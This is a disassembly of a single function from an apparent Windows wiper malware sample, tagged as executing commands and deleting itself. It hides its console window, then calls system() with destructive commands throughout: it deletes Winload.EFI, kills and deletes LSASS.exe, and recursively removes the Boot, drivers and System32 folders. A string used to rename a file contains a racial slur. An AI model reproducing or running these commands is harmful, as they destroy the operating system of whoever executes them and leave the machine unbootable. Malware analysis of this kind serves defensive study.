Function at 0x140002eb0
Capabilities:
Execute command
Self delete

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140002d40
test al, al
jne 0x140002ed3
call fcn.140002e80
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.del__Q__F__C:WindowsSystem32DriversCheck.txt_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__F__S__Q_C:WindowsBoot_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ren_Winload.EFI_niggerWinload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F__Q_C:WindowsSystem32LSASS.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__im_LSASS.exe__f__t
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F__Q_C:WindowsSystem32LSASS.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__F__S__Q_C:WindowsSystem32drivers_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__F__S__Q_C:WindowsSystem32Boot_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__F__S__Q_C:WindowsSystem32_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400067d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x3e8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x3e8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x3e8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x3e8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x3e8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
add rsp, 0x28
ret